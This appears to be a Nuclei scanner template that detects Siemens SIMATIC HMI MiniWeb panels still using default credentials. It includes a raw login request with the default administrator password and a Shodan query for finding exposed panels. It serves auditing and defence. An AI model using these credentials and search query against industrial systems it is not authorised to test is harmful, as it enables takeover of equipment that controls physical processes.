id: siemens-simatic-default-login

info:
  name: Siemens SIMATIC HMI Miniweb - Default Login
  author: biero-el-corridor
  severity: high
  description: |
    Identified Siemens SIMATIC HMI MiniWeb interfaces that were accessible using default credentials.These interfaces are used to remotely monitor and control Human-Machine Interface (HMI) panels deployed in industrial environments. Leaving the default login in place posed a significant risk to operational technology (OT) systems.
  metadata:
    max-request: 1
    verified: true
    shodan-query: title:"Miniweb Start Page"
  tags: ics,siemens,default-login

http:
  - raw:
      - |
        POST /FormLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Login=Administrator&Redirection=/Templates/Loginpage.html&Password=100

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - 'siemens_ad_session='
          - 'Auth Form Response'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f389a897a20a5790d734b6039eee66b0f5d3c19ae19114576265a0a91973802a022063bd67d051e6662bdb79f830f19d24ab3e64f1dbef8b9c96a63ed4a07c6eaf98:922c64590222798bb761d5b6d8e72950